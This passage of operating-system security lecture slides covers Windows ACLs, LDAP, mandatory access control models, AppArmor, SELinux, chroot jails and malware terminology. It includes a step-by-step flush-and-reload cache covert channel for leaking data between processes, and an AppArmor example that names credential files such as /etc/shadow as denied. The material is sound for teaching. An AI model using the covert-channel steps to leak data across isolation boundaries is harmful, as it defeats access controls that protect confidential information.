CL.CAM.AC.UK\teaching Group S-1-5-21-60690662-395645056-62016732-12540
CL.CAM.AC.UK\sec-grp Group S-1-5-21-60690662-395645056-62016732-2788

In Windows, the SIDs and names representing users and groups occupy the same space, i.e. each SID or name can belong to either a user or a group, not both at the same time.

Contrast with Unix (see slide 22), where in addition to user john=1004, there can also be a group john=1004 (e.g., a personal group), or alternatively a group employees=1004 or john=507.

---

Windows access control: security descriptors, ACLs, ACEs

Every object carries a *security descriptor* (the NT equivalent of the access control information in a Unix i-node) with

- SID of the object’s owner
- SID of the object’s primary group (only for POSIX compatibility)
- Discretionary Access Control List, a list of ACEs
- System Access Control List, for SystemAudit ACEs

Each Access Control Entry (ACE) carries

- a type (AccessDenied, AccessAllowed)
- a SID (representing a user or group)
- an access permission mask (read, write, etc.)
- five bits to control ACL inheritance (see below)
Example of a Windows security descriptor:

```
Revision: 0x00000001
Control: 0x0004
   SE_DACL_PRESENT
Owner: (S-1-5-32-548)
PrimaryGroup: (S-1-5-21-397955417-626881126-188441444-512)
```

DACL
```
Revision: 0x02
Size: 0x001c
AceCount: 0x0001
Ace[00]
   AceType: 0x00 (ACCESS_ALLOWED_ACE_TYPE)
   AceSize: 0x0014
   InheritFlags: 0x00
   Access Mask: 0x100e003f
      READ_CONTROL
      WRITE_DAC
      WRITE_OWNER
      GENERIC_ALL
      Others(0x0000003f)
   Ace Sid : (S-1-0-0)
```

SACL
```
Not present
```

Windows access control: user interfaces

Windows defines a Security Descriptor String Format for storing or transporting information in a security descriptor, e.g.

```
"0:AOG:DAD:(A;;RPWPCCDCLCSWRCWOGA;;S-1-0-0)"
```

These can be displayed for any file with: cacls filename /s

The Windows kernel permits arbitrary lists of ACEs. However, Windows tools for editing ACLs, such as the Explorer GUI (Properties/Security tab), automatically sort the order of ACEs:

- All non-inherited (explicit) ACEs appear before all inherited ones.
- Within these categories, GUI interfaces with allow/deny buttons also usually place all AccessDenied ACEs before all AccessAllowed ACEs in the ACL, thereby giving them priority.

AccessAllowed ACEs before AccessDenied ACEs can still be required, for example to emulate POSIX-style file permissions.

How can you map these POSIX permissions into an NTFS ACL?

-rw--w-r--
Windows access control: algorithm

Requesting processes provide a desired access mask. With no DACL present, any requested access is granted. With an empty DACL, no access is granted. All ACEs with matching SID are checked in sequence, until either all requested types of access have been granted by AccessAllowed entries or one has been denied in an AccessDenied entry:

```
AccessCheck(Acl: ACL,
            DesiredAccess : AccessMask,
            PrincipalSids : SET of Sid)
VAR
    Denied : AccessMask := ∅;
    Granted : AccessMask := ∅;
    Ace : ACE;
foreach Ace in Acl
    if Ace.SID ∈ PrincipalSids and not Ace.inheritonly
        if Ace.type = AccessAllowed
            Granted := Granted ∪ (Ace.AccessMask - Denied);
        elsif Ace.type = AccessDenied
            Denied := Denied ∪ (Ace.AccessMask - Granted);
        if DesiredAccess ⊆ Granted
            return SUCCESS;
    return FAILURE;
```

Windows ACL inheritance

Windows 2000/etc. implements static inheritance for DACLs:

Only the DACL of the file being accessed is checked during access.

The alternative, dynamic inheritance, would also consult the ACLs of ancestor directories along the path to the root, where necessary.

New files and directories inherit their ACL from their parent directory when they are created.

Five bits in each ACE indicate whether this ACE

- Container inherit – will be inherited by subdirectories
- Object inherit – will be inherited by files
- No-propagate – inherits to children but not grandchildren
- Inherit only – does not apply here
- Inherited – was inherited from the parent

In addition, the security descriptor can carry a protected-DACL flag that protects its DACL from inheriting any ACEs.
Windows ACL inheritance II

When an ACE is inherited (copied into the ACL of a child), the following adjustments are made to its flags:

- “inherited” is set
- if an ACE with “container inherit” is inherited to a subdirectory, then “inherit only” is cleared, otherwise if an ACE with “object inherit” is inherited to a subdirectory, “inherit only” is set
- if “no-propagate” flag was set, then “container inherit” and “object inherit” are cleared

If the ACL of a directory changes, it is up to the application making that change (e.g., Windows Explorer GUI, icacls, SetACL) to traverse the affected subtree below and update all affected inherited ACEs there (which may fail due to lack of Change Permissions rights).

The “inherited” flag ensures that during that directory traversal, all inherited ACEs can be updated without affecting non-inherited ACEs that were explicitly set for that file or directory.


Windows ACL inheritance – example

```plaintext
project
  AllowAccess alice: read-execute (ci,np)
  AllowAccess bob: read-only (oi)
  AllowAccess charlie: full-access (oi,ci)

project\main.c
  AllowAccess bob: read-only (i)
  AllowAccess charlie: full-access (i)

project\doc
  AllowAccess alice: read-execute (i)
  AllowAccess bob: read-only (i,oi,io)
  AllowAccess charlie: full-access (i,oi,ci)

project\doc\readme.txt
  AllowAccess bob: read-only (i)
  AllowAccess charlie: full-access (i)
```
Windows access control: auditing, defaults, services

SystemAudit ACEs can be added to an object’s security descriptor to specify which access requests (granted or denied) are audited.

Users can also have capabilities that are not tied to specific objects (e.g., *bypass traverse checking*).

Default installations of Windows NT used no access control lists for application software, and every user and any application could modify most programs and operating system components (→ virus risk). This changed in Windows Vista, where users normally work without administrator rights.

Windows NT has no support for giving elevated privileges to application programs. There is no equivalent to the Unix set-user-ID bit.

A “service” is an NT program that normally runs continuously from when the machine is booted to its shutdown. A service runs independent of any user and has its own SID.

Client programs started by a user can contact a service via a communication pipe. This service can receive not only commands and data via this pipe, it can also use it to acquire the client’s access permissions temporarily.

LDAP

Organizations where many users need access to many computers commonly use central online directories of users, their group memberships, computers, and policies that apply to them.

The **Lightweight Directory Access Protocol** (LDAP, RFC 4510) is a widely used standard data model and protocol for remotely accessing such administrative information about users, groups and computers.

Example implementations: OpenLDAP, Microsoft’s Active Directory

**Some history:** In the 1980s, the Open Systems Interconnection (OSI) initiative was a large international standardization effort to define computer networking protocols. It resulted, for example, in the X.400 specifications for an email system and the X.500 directory system (e.g., for looking up email recipients worldwide).

While the envisioned global X.400/X.500 network was overtaken by the competing Internet RFC specifications, several OSI-derived technologies still survive in today’s security infrastructure:

- LDAP is a simplified Internet RFC version of the X.500 directory access protocol (DAP),
- ASN.1 was the language for specifying protocol packet syntax in X.400/X.500,
- X.509 was the 1988 standard for publishing cryptographic public-key certificates via X.500.

Example of an X.400 email address:

   C=no;ADMD=;PRMD=uninett;O=sintef;OU=delab;S=Alvestrand;G=Harald
LDAP data model

An LDAP server stores a tree of LDAP objects, each of which may represent, a user, a group, a computer, an organizational unit, etc.

Each LDAP object is a set of attribute-value pairs. Example:

```
$ sudo apt-get install krb5-user ldap-utils libsasl2-modules-gssapi-mit
$ kinit mgk25@BLUE.CAM.AC.UK
Password for mgk25@BLUE.CAM.AC.UK: [UIS password]
$ ldapsearch -Y GSSAPI -H ldap://dc1.blue.cam.ac.uk
   > -b DC=blue,DC=cam,DC=ac,DC=uk cn=mgk25
   # mgk25, People, blue.cam.ac.uk
dn: CN=mgk25,OU=People,DC=blue,DC=cam,DC=ac,DC=uk
objectClass: user
  cn: mgk25
  sn: Kuhn
  telephoneNumber: 34676
displayName: Markus G. Kuhn
memberOf: CN=All Users,OU=Groups,DC=blue,DC=cam,DC=ac,DC=uk
department: Department of Computer Science and Technology
objectSid:: AQUAAAAAAAUVAAAAwH9Vu6vNyfe1myOoNmYBAA==
...]
```

Each non-root object has a parent, and has one attribute (here “cn: mgk25”) identified as the “relative distinguished name” (RDN) of the object, unique to its parent (like a filename). The RDNs along the path to the root form the “distinguished name” (DN) of the object (like a pathname). Each object belongs to an object class, which defines what attributes the object may/must have.

Active Directory

Microsoft’s Windows Server operation systems can act as a domain controller for other computers by running the Active Directory Domain Service (AD DS). This involves offering LDAP, Kerberos, DNS, DHCP, SMB/DFS (and a few other) protocol services. Most administrative state of a domain controller can be accessed via LDAP.

A member of the domain administrator groups has wide-ranging administrative rights over all computers and users in a domain, and compromising such an account is therefore an attractive target for intruders.

Active Directory uses the same discretionary ACL implementation, security descriptors and SIDs for LDAP objects as Windows uses for NTFS files and directories. This enables fine-grained delegation of administrative access. Some differences/extensions to NTFS ACLs:

- the list of LDAP access-right bits is different: create child, delete child, delete, delete tree, list contents, list object, read property, write property, write property extended, control access, write owner, etc.
- the order of ACEs is sorted by the server (deny before allow, explicit before inherited)
- ACEs can contain an ObjectType field that can identify an attribute name or a property set (via a GUID number). In this case, an ACE with a property-related right only applies to the attributes identified by the GUID, not to the entire object.
- The write property extended right grants only write access after validation of rules identified by the GUID in the ObjectType field. [Examples of validated write rights: the requesting user can add/remove themselves to/from a group, the requesting computer can change their dNSHostName attribute (choosing one of a restricted set of domain names).]

Principle of least privilege

Ideally, applications should only have access to exactly the objects and resources they need to perform their operation.

Transferable capabilities

Some operating systems (e.g., KeyKOS, EROS, CapROS, IBM i, Mach, seL4) combine the notion of an object’s name/reference that is given to a subject and the access rights that this subject obtains to this object into a single entity:

\[ \text{capability} = (\text{object-reference}, \text{rights}) \]

Capabilities can be implemented efficiently as an integer value that points to an entry in a tamper-resistant capability table associated with each process (like a POSIX file descriptor). In distributed systems, capabilities are sometimes implemented as cryptographic tokens.

Capabilities can include the right to be passed on to other subjects. This way, \( S_1 \) can pass an access right for \( O \) to \( S_2 \), without sharing any of its other rights. Problem: Revocation?

Mandatory Access Control policies I

Restrictions to allowed information flows are not decided at the user’s discretion (as with Unix chmod), but instead enforced by system policies.

Mandatory access control mechanisms are aimed in particular at preventing policy violations by untrusted application software, which typically have at least the same access privileges as the invoking user.

Simple examples:

- Air Gap Security
  
  Uses completely separate network and computer hardware for different application classes.

  Examples:
  
  - Some hospitals have two LANs and two classes of PCs for accessing the patient database and the Internet.
  
  - Some military intelligence analysts have several PCs on their desks to handle top secret, secret and unclassified information separately.
Mandatory Access Control policies II

No communication cables are allowed between an air-gap security system and the rest of the world. Exchange of storage media has to be carefully controlled. Storage media have to be completely zeroised before they can be reused on the respective other system.

▶ Data Pump/Data Diode

Like “air gap” security, but with one-way communication link that allow users to transfer data from the low-confidentiality to the high-confidentiality environment, but not vice versa. Examples:

- Workstations with highly confidential material are configured to have read-only access to low confidentiality file servers.
  What could go wrong here?

- Two databases of different security levels plus a separate process that maintains copies of the low-security records on the high-security system.

The Bell–LaPadula model

Mandatory access-control for military multi-level security environments. Every subject (process) $S$ and every object $O$ (file, directory, net connection, etc.) is labeled with a confidentiality level $L$. Typical levels follow government document security classifications, e.g.

\[
\text{UNCLASSIFIED} < \text{CONFIDENTIAL} < \text{SECRET} < \text{TOP SECRET}.
\]

The system policy prevents the flow of information from high-level objects to lower levels:

- $S$ can only write to $O$ if $L(S) \leq L(O)$
- $S$ can only read $O$ if $L(O) \leq L(S)$
- $S_1$ can only execute $S_2$ if $L(S_1) \leq L(S_2)$

Each user has a range of allowed confidentiality levels, and can choose at which level $L(S)$ in that range to start a process. That process then cannot read data from above that level, and cannot write data into files below that level.

A selected set of trusted users and processes is allowed to bypass the restrictions, in order to permit the declassification of information.

Implemented in US DoD Compartmented Mode Workstation, Orange Book Class B, Trusted Solaris, SELinux

The lattice model

Some intelligence agencies label each document $X$ with both a security level and a set of categories:

$$\text{label}(X) = (\text{level}(X), \{\text{category}_1, \ldots, \text{category}_n\})$$

This partial order allows information flows from $Y$ to $X$:

$$X \geq Y \iff \text{level}(X) \geq \text{level}(Y) \land \text{cat}(X) \supseteq \text{cat}(Y)$$

Note: In abstract algebra, a “lattice” $(L, \leq)$ is a set $L$ and a partial order $\leq$ over it such that each subset $S \subseteq L$ has a “supremum” (least upper bound) $\sup(S) \in L$ and “infimum” (greatest lower bound) $\inf(S) \in L$ with $\forall s \in S : \inf(S) \leq s \leq \sup(S)$. Example: $(\mathbb{N}, \mid)$

Bell–LaPadula in practice

- kernel reference-monitor enforces security properties:
  no read up ("ss-property"), no write down ("*-property")

- operating-system components, such as scheduler and memory management, still need to be exempt as they have to read and write at all levels ("trusted computing base")

- goals: protection against malicious software exfiltrating confidential classified data, reducing risk of users accidentally transferring classified data to inappropriate hardware, channels or other users

Practical problems:

- as information can only flow up, too many files eventually end up TOP SECRET

- many applications need to exchange information bidirectionally (across security levels) to be able to work
  Examples: licence servers (running challenge-response authentication), acknowledgement of receipt of information

Avoiding these problems can require significant reengineering of applications, and is often impractical with existing commercial software. As a result, Bell–LaPadula-style multi-level/multi-category security is not commonly enforced by operating systems in non-government environments.
The covert channel problem

Reference monitors see only intentional communications channels, such as files, sockets, memory. However, there are many more “covert channels”, which were neither designed nor intended to transfer information at all. A malicious high-level program can use these to transmit high-level data to a low-level receiving process, who can then leak it to the outside world.

**Examples**

- **Resource conflicts** – If high-level process has already created a file \( F \), a low-level process will fail when trying to create a file of same name → 1 bit information.
- **Timing channels** – Processes can use system clock to monitor their own progress and infer the current load, into which other processes can modulate information.
- **Resource state** – High-level processes can leave shared resources (disk head position, cache memory content, etc.) in states that influence the service response times for the next process.
- **Hidden information in downgraded documents** – Steganographic embedding techniques can be used to get confidential information past a human downgrader (least-significant bits in digital photos, variations of punctuation/spelling/whitespace in plaintext, etc.).


**Example: cache-based covert channel**

Modern CPUs obtain much of their performance from on-chip caches, which are much faster than DRAM.

Read access on current Intel CPUs:

- **L1 cache**: 4 cycles (private to each core)
- **L2 cache**: 12 cycles (private to each core)
- **L3 cache**: \( \approx \) 30 cycles (sliced across cores, ring bus)
- **DRAM**: \( > \) 120 cycles

A read access to any RAM byte leaves the entire containing 64-byte block in a cache line. Other processes accessing the same address will then find read access very fast.

Useful Intel machine instructions:

- **CLFLUSH** – evict an address from all on-chip caches
- **RDTSC** – measure time accurately in CPU cycles
- **MFENCE** – serialize out-of-order execution
Example: cache-based covert channel II

A transmitting-receiving process pair require

▶ read access to the same physical memory address $A$
  Example: some byte in a shared library.

▶ a common time base to define bit periods

Flush and reload strategy

1. transmitter waits for start of new bit period
2. during bit period transmitter either
   • sends bit 0 by flushing address $A$, or
   • sends bit 1 by reading from address $A$
3. receiver waits for end of bit period
4. receiver reads time $t_1$ (time-stamp counter)
5. receiver reads from address $A$
6. receiver reads time $t_2$
7. received bit = $[\left( t_2 - t_1 \right) < \text{threshold}]$

Receiver can first transmit test bits to itself to calibrate hardware-specific optimal threshold (histogram).

Integrity models

Each subject $S$ and object $O$ is labeled with an integrity level $I$. Example:

$$I(\text{system file}) > I(\text{user-generated file}) > I(\text{from the Internet})$$

Idea: turn Bell–LaPadula model (was for confidentiality) up-side down.

Low-water-mark policy

▶ $S$ can only write to $O$ if $I(O) \leq I(S)$
▶ After $S$ has read from $O$: $I(S) := \min\{I(S), I(O)\}$
▶ $S_1$ can only execute $S_2$ if $I(S_2) \leq I(S_1)$

Execution treated like write access: less-trusted invoker cannot control more-trusted subject.

Implemented on FreeBSD in mac_low policy.

Biba’s model

▶ $S$ can only write to $O$ if $I(O) \leq I(S)$
▶ $S$ can only read $O$ if $I(S) \leq I(O)$
▶ $S_1$ can only execute $S_2$ if $I(S_2) \leq I(S_1)$

Implemented on FreeBSD in mac_biba policy.
A commercial data integrity model

Clark/Wilson noted that BLP is not suited for commercial applications, where data integrity (prevention of mistakes and fraud) are usually the primary concern, not confidentiality.

Commercial security systems have to maintain both internal consistency (that which can be checked automatically) and external consistency (data accurately describes the real world). To achieve both, data should only be modifiable via well-formed transactions, and access to these has to be audited and controlled by separation of duty.

In the Clark/Wilson framework, which formalises this idea, the integrity protected data is referred to as Constrained Data Items (CDIs), which can only be accessed via Transformation Procedures (TPs). There are also Integrity Verification Procedures (IVPs), which check the validity of CDIs (for example, whether the sum of all accounts is zero), and special TPs that transform Unconstrained Data Items (UDIs) such as outside user input into CDIs.

In the Clark/Wilson framework, a security policy requires:

- For all CDIs there is an Integrity Verification Procedure.
- All TPs must be certified to maintain the integrity of any CDI.
- A CDI can only be changed by a TP.
- A list of (subject, TP, CDI) triplets restricts execution of TPs.
- This access control list must enforce a suitable separation of duty among subjects and only special subjects can change it.
- Special TPs can convert Unconstrained Data Items into CDIs.
- Subjects must be identified and authenticated before they can invoke TPs.
- A TP must log enough audit information into an append-only CDI to allow later reconstruction of what happened.
- Correct implementation of the entire system must be certified.

Operating-system extensibility for access control

- POSIX.1e and NTFS discretionary access control state of late 1990s.
- Many mandatory access control policies have been proposed in literature, but no wide agreement on which exactly are useful for which environment.
- System-call interposition at user level often not effective because time-of-check-to-time-of-use (TOCTTOU) problems ⇒ security extensions need to operate within kernel-lock regions.
- Rather than hardwiring one mandatory-access-control policy model into the kernel, both Linux and FreeBSD implemented kernel hooks that allow the addition of different security policies as loadable kernel modules.
- These are today widely used to isolate mobile-device apps in iOS, macOS and Android, as well as in various firewall appliances.


Linux Security Modules (LSM)

- Kernel hooks originally developed for NSA’s SELinux, now also used by Linux/POSIX.1e capabilities, AppArmor, Smack, etc.
- Adds an opaque security field (void * pointer) to many kernel data structures (task, superblock, inode, open file, network buffer/packet, device, IPC objects, etc.) ⇒ security modules can add arbitrary metadata (ACLs, labels, names, etc.)
- Adds a global security_ops table of function pointers, called by kernel functions that access kernel objects
- Example: vfs_mkdir() calls
  
  ```
  security_ops->inode_ops->mkdir(dir,dentry,mode)
  ```
  
  before a new directory entry dentry is added to a parent directory dir with permissions mode (a non-zero return value denies the operation), and it also calls
  
  ```
  security_ops->inode_ops->post_mkdir(dir,dentry,mode)
  ```
  
  after the directory has been created, to allow the security module to add its metadata (no deny is possible at this point).
- Called after built-in discretionary access control granted
- Security modules only stackable if supported by the modules loaded earlier, which can provide another LSM interface to the next module
AppArmor

AppArmor is a Linux Security Module designed to protect systems by confining the access of potentially insecure/untrusted processes.

▶ An AppArmor “profile” is a plain-text file that lists all the resources and privileges that a particular program is allowed to access.

▶ Affects only executable files for which a profile was loaded. Command "sudo aa-status" lists currently active profiles.

▶ Enforced restrictions are independent of user identity, group membership or object ownership, and even apply to root.

▶ Mainly used to protect systems against server processes exposed to a network.

▶ Each profile can be switched into an “enforce” or “complain” mode “Complain” mode just logs which system calls would have been blocked in “enforce” mode.

▶ Tools that analyze trial runs in “complain” mode help to define a profile by listing used resources.

AppArmor example

/etc/apparmor.d/usr.sbin.ntpd:

/usr/sbin/ntpd {
#include <abstractions/base>

capability net_bind_service,
capability sys_time,

network dgram,

/dev/ppps[0-9]*/ rw,
/{,s}bin/ r,
/usr/{,s}bin/ r,
/usr/sbin/ntpd rmix,
/etc/ntp.conf r,
}

The executable file /usr/sbin/ntpd is a Network Time Protocol (NTP) daemon to synchronize system clocks over the Internet. This (shortened) AppArmor profile limits the resources and privileges (capabilities) accessible to this program to those listed, even if /usr/sbin/ntpd is started by root.

It permits read/write access to pulse-per-second (PPS) clock hardware, read access to all standard public operating-system files, read access to its own config file, and read (r), executable mmap (m) and inherit execute (ix) to its own binary (so it can restart itself). It also permits access to privileged UDP ports and the ability to set the system time.

It also includes “base” access rights required by most Linux programs (e.g., to read C library locale and timezone databases, load standard shared libraries, open anonymous Unix sockets, use /dev/null, /dev/random, read parts of /proc).

It denies access to any resource not listed (including e.g. /home/, /etc/ssl/private/, /etc/shadow, /etc/krb5.keytab).
Security Enhanced Linux (SELinux)

NSA’s original Linux Security Module for mandatory access control. Each process and object (file, directory, port, device, etc.) is labeled with a "security context":

```
user:role:type:range
```

For processes, the type field is also called “domain”. The user and role fields are independent of the POSIX user and group identifiers. Option -Z shows these labels in ls, ps, id, etc., and sestatus shows if SELinux is disabled or in permissive (just log what would be denied) or enforcing mode. SELinux can also set to be permissive/enforcing per domain.

SE Linux supports two independent MAC mechanisms:

- **Domain/type enforcement.** Policy language for rules to allow operations based on the user/role/type/domain assigned to each process and object in its security-context label. Commonly used, e.g. in default policies of Red Hat and Android.

- **Multi-level/multi-category security.** Bell–LaPadula-style lattice information-flow control policy based on the range field in the security context, which contains the (range of) security levels and the (set of) security categories that domains are allowed to access. MLS levels not commonly used outside government agencies, MCS categories occasionally used, e.g. to separate Android users or to isolate virtual machines.

SELinux – domain/type enforcement

Policy rules define

1. which processes and which objects are labeled with which domain/type
2. processes in which domains are allowed which access to objects of some type
3. how are domains allowed to interact with each other (signals, IPC, ptrace)
4. how processes are allowed to transition from one domain to another (elevated privileges)

Domains/types define equivalence classes: processes in the same domain have the same access rights (under type enforcement). Objects of the same type can be accessed in the same way by processes in some domain. Domains and types form a layer of abstraction, between the processes and objects on one side and the access-control policy on the other.

Even root processes and capability owners are enforced.

The SELinux architecture and policy language are quite complex and beyond the scope of this course. For a detailed introduction, see e.g. *The SELinux Notebook*. http://freecomputerbooks.com/The-SELinux-Notebook-The-Foundations.html

For a basic explanation of domains, types and categories, see *The SELinux Coloring Book*. http://blog.linuxgrrl.com/2014/04/16/the-selinux-coloring-book/
Android access control

- Separate POSIX user identifier allocated for each installed app.
- POSIX discretionary access control separates apps (like users).
- Apps are structured into components that interact (with each other and the system) via Android-specific message objects ("intents") that are passed, via an ioctl() system call to /dev/binder, to a kernel IPC mechanism ("Binder") that mediates all inter-component interactions.
- Application packages come with an XML manifest that requests permissions to access certain system facilities. The user is asked to grant permission (at the time of installation or first use), and Binder enforces these permissions.
- In addition, apps also have access to the regular Linux filesystem.
- SELinux domain/type-enforcement was later added in Android 4.3 (permissive), 4.4 (enforcing for some system domains), and 5.0 (full enforcement).


chroot jails

On BSD and Linux, user root (or anyone with CAP_SYS_CHROOT) can call chroot(path) to change the location of the root directory of the filesystem for the current process, i.e. the start directory for the lookup of pathnames starting with "/".

The inode number of the root directory is a process-descriptor field inherited to child processes.

This can be used to constrain the files visible to a process:
- make a list of all files required by an application
  The ldd command lists all shared libraries required by an executable.
- create a new "jail" directory
- copy all required files (including the application itself) into the jail directory, under their relative paths from root
- call chroot() to change the root directory to the "jail" directory
- start the application from within the "jail" directory

Alternatively, an application can also put itself into a "chroot jail" after having opened all files it requires from outside the jail. It will then no longer be able to resolve pathnames starting outside the jail.

User root may still be able to break out of chroot jails, e.g. using mount.
If a directory from inside the jail is moved outside, this can be another escape route.
chroot jail example

What shared libraries does /bin/sh need to run?

```
$ ldd /bin/sh
  linux-vdso.so.1 => (0x00007fff8fff0000)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9da7a62000)
  /lib64/ld-linux-x86-64.so.2 (0x00007f9da8054000)
```

Create a jail directory, then invoke a shell inside:

```
$ JAIL=/tmp/jail
$ mkdir -p $JAIL/{bin,lib/x86_64-linux-gnu,lib64}
$ for f in /bin/sh /lib/x86_64-linux-gnu/libc.so.6 /lib64/ld-linux-x86-64.so.2 ; do
cp $f $JAIL$f
done
$ sudo chroot --userspec=$USER:$USER $JAIL /bin/sh
```

Where can we go?

```
$ cd lib
$ cd ../../usr
/bin/sh: 1: cd: can't cd to ../../usr
```

Containers (operating-system level virtualization)

Some operating systems (Linux, FreeBSD) take the chroot jail concept further and provide today support not only for virtualization of the filesystem name space for child-process trees, but also of other system-wide namespaces, such as

- user and group id number spaces
- network devices
- mount tables

Combined with process-tree resource control (Linux cgroups), applications can be executed this way in their own “container” environment, using their own shared libraries and configuration files, almost as if they were running within their own OS instance. The kernel is shared across all the containers on a system.

Examples of container mechanisms: chroot, Docker, LXC, OpenVZ, etc.

This is in contrast to virtual machines, where multiple kernels use time-sharing to run concurrently on the same hardware, under the control of a hypervisor (e.g., Xen).
The Trusted Computing Base (TCB) are the parts of a system (hardware, firmware, software) that enforce a security policy.

A good security design should attempt to make the TCB as small as possible, to minimise the chance for errors in its implementation and to simplify careful verification. Faults outside the TCB will not help an attacker to violate the security policy enforced by it.

Example

In a Unix workstation, the TCB includes at least:

a) the operating system kernel including all its device drivers
b) all processes that run with root privileges
c) all program files owned by root with the set-user-ID–bit set
d) all libraries and development tools that were used to build the above
e) the CPU
f) the mass storage devices and their firmware
g) the file servers and the integrity of their network links

A security vulnerability in any of these could be used to bypass the entire Unix access control mechanism.

Basic operating-system security functions

Domain separation

The TCB (operating-system kernel code and data structures, etc.) must itself be protected from external interference and tampering by untrusted subjects.

Reference mediation

All accesses by untrusted subjects to objects must be validated by the TCB before succeeding.

Typical implementation: The CPU can be switched between supervisor mode (used by kernel) and user mode (used by normal processes). The memory management unit can be reconfigured only by code that is executed in supervisor mode. Software running in user mode can access only selected memory areas and peripheral devices, under the control of the kernel. In particular, memory areas with kernel code and data structures are protected from access by application software. Application programs can call kernel functions only via a special interrupt/trap instruction, which activates the supervisor mode and jumps into the kernel at a predefined position, as do all hardware-triggered interrupts. Any inter-process communication and access to new object has to be requested from and arranged by the kernel with such system calls.

Today, similar functions are also provided by execution environments that operate at a higher-level than the OS kernel, e.g. Java/C# virtual machine, where language constraints (type checking) enforce domain separation, or at a lower level, e.g. virtual machine monitors like Xen or VMware.
Residual information protection

The operating system must erase any storage resources (registers, RAM areas, disc sectors, data structures, etc.) before they are allocated to a new subject (user, process), to avoid information leaking from one subject to the next.

This function is also known in the literature as “object reuse” or “storage sanitation”.

There is an important difference between whether residual information is erased when a resource is

1. allocated to a subject or

2. deallocated from a subject.

In the first case, residual information can sometimes be recovered after a user believes it has been deleted, using specialised “undelete” tools.

Forensic techniques might recover data even after it has been physically erased, for example due to magnetic media hysteresis, write-head misalignment, or data-dependent aging. P. Gutmann: Secure deletion of data from magnetic and solid-state memory. USENIX Security Symposium, 1996, pp. 77–89. http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html

Classification of operating-system security I

In 1983, the US DoD published the “Trusted computer system evaluation criteria (TCSEC)”, also known as “Orange Book”.

It defines several classes of security functionality required in the TCB of an operating system:

- Class D: Minimal protection – no authentication, access control, or object reuse (example: MS-DOS, Windows98)
- Class C1: Discretionary security protection – support for discretionary access control, user identification/authentication, tamper-resistant kernel, security tested and documented (e.g., classic Unix versions)
- Class C2: Controlled access protection – adds object reuse, audit trail of object access, access control lists with single user granularity (e.g., Unix with some auditing extensions, Windows NT in a special configuration)
Classification of operating-system security II

- Class B1: Labeled security protection – adds confidentiality labels for objects, mandatory access control policy, thorough security testing

- Class B2: Structured protection – adds trusted path from user to TCB, formal security policy model, minimum/maximum security levels for devices, well-structured TCB and user interface, accurate high-level description, identify covert storage channels and estimate bandwidth, system administration functions, penetration testing, TCB source code revision control and auditing

- Class B3: Security domains – adds security alarm mechanisms, minimal TCB, covert channel analysis, separation of system administrator and security administrator

- Class A1: Verified design – adds formal model for security policy, formal description of TCB must be proved to match the implementation, strict protection of source code against unauthorised modification

Common Criteria

In 1999, TCSEC and its European equivalent ITSEC were merged into the Common Criteria for Information Technology Security Evaluation.

- Covers not only operating systems but a broad spectrum of security products and associated security requirements

- Provides a framework for defining new product and application specific sets of security requirements (protection profiles)
  
  E.g., NSA’s Controlled Access Protection Profile (CAPP) replaces Orange Book C2.

- Separates functional and security requirements from the intensity of required testing (evaluation assurance level, EAL)

EAL1: tester reads documentation, performs some functionality tests
EAL2: developer provides test documentation and vulnerability analysis for review
EAL3: developer uses RCS, provides more test and design documentation
EAL4: low-level design docs, some TCB source code, secure delivery, independent vul. analysis (highest level considered economically feasible for existing product)
EAL5: Formal security policy, semiformal high-level design, full TCB source code, indep. testing
EAL6: Well-structured source code, reference monitor for access control, intensive pen. testing
EAL7: Formal high-level design and correctness proof of implementation

E.g., Windows Vista Enterprise was evaluated for CAPP at EAL4 + ALC_FLR.3 (flaw remediation).  
http://www.commoncriteriaportal.org/
Common terms for malicious software (malware) I

- **Trojan horse** – application software with hidden/undocumented malicious side-effects
- **Ransomware** – Trojan horse blackmailing users, e.g. after encrypting their data store (AIDS Info Disk, 1989; CryptoLocker, 2013)
- **Backdoor** – function in a Trojan horse that enables unauthorised access
- **Logic bomb** – a Trojan horse that executes its malicious function only when a specific trigger condition is met (e.g., a timeout after the employee who authored it left the organisation)
- **Virus** – self-replicating program that can *infect* other programs by modifying them to include a version of itself, often carrying a logic bomb as a *payload* (Cohen, 1984)
- **Worm** – self-replicating program that spreads onto other computers by breaking into them via network connections and – unlike a virus – starts itself on the remote machine without infecting other programs

Morris Worm 1988: ≈ 8000 machines, ILOVEYOU 2000: estimated $45 \times 10^6$ machines

Common terms for malicious software (malware) II

- **Root kit** – Operating-system modification to hide intrusion
- **Man-in-the-browser** – Web-browser plugin or proxy server that intercepts and manipulates traffic, e.g. with banking web sites to redirect payments
- **Spyware** – Trojan horse that gathers and sends back information about users without their consent
- **Keylogger** – Spyware recording keyboard input, in particular authentication information (passwords, PINs, banking details)
- **Scareware** – Software or web page that pretends to be a diagnostic tool, claiming a non-existing problem with a device, to encourage users to buy unnecessary software
- **Adware** – Software that displays unwanted marketing messages

The term “grayware” or “potentially unwanted software” is sometimes used for Adware or other software that users are tricked into installing (e.g., by bundling it with desired software), which they are unlikely to have installed deliberately, even though there may be legitimate applications (e.g., remote diagnostic tools).
Computer viruses

- Viruses are only able to spread in environments, where
  - the access control policy allows application programs to modify the code of other programs (e.g., MS-DOS and Windows XP)
  - programs are frequently exchanged in executable form, and copied from one machine to another
- MS-DOS suffered transient, resident and boot sector viruses.
- As more application data formats (e.g., Microsoft Word) become extended with sophisticated macro languages, viruses appeared in these interpreted languages as well.
- Viruses are mostly unknown under Unix:
  - Most installed application programs are owned by root with rwxr-xr-x permissions and used by normal users.
  - Non-commercial Unix programs are also often transferred as source code, which is difficult for a virus to infect automatically.
    A diverse platform makes it difficult to write highly portable viruses that remain unnoticed by not causing immediate malfunctions.

Computer viruses (cont’d)

- Original file-to-file virus propagation largely disappeared from Windows since Vista due to User Account Control and Biba-style Windows Integrity Mechanism labels for files and processes, which now require interactive user confirmation for virus propagation.
  Windows Vista Integrity Mechanism Technical Reference.
- Software is today mostly installed from online software repositories, rather than copied directly from one machine to the next.
- Malware scanners use databases with characteristic code fragments of most known viruses and Trojans, which are according to some scanner-vendors around three million today (→ polymorphic viruses).
- Malware scanners also look for behavioural patterns, e.g. characteristic sequences of system calls or system-file access.
- Virus scanners – like other intrusion detectors – fail on very new or closely targeted types of attacks and can cause disruption by giving false alarms occasionally.
- Some virus intrusion-detection tools monitor changes in files using cryptographic checksums.
Common software vulnerabilities

- Missing checks for data size (→ stack buffer overflow)
- Missing checks for data content (e.g., shell meta characters)
- Missing checks for boundary conditions
- Missing checks for success/failure of operations
- Missing locks – insufficient serialisation
